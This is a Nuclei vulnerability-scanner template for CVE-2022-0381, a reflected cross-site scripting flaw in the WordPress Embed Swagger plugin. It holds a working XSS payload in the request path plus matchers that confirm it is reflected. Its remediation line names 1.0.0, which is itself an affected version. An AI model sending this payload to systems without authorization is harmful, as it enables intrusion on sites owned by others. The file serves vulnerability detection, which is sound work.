nuclei-templates/http/cves/2022/CVE-2022-0381.yaml

53 lines
2.2 KiB
YAML

id: CVE-2022-0381
info:
name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
reference:
- https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
- https://nvd.nist.gov/vuln/detail/CVE-2022-0381
- https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0381
cwe-id: CWE-79
epss-score: 0.00218
epss-percentile: 0.59581
cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: embed_swagger_project
product: embed_swagger
framework: wordpress
tags: cve,cve2022,swagger,xss,wordpress,embed_swagger_project
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "url: \"xss://\"-alert(document.domain)"
- type: status
status:
- 200
# digest: 4a0a004730450221009fcce508edf99e60891548d3cfe1263b2ee4ecb07aba15436a2ae4e9822a741502204761ed4c7d041239fbd0f6138312a494eda68311c2b6e38208e9c8199e076b11:922c64590222798bb761d5b6d8e72950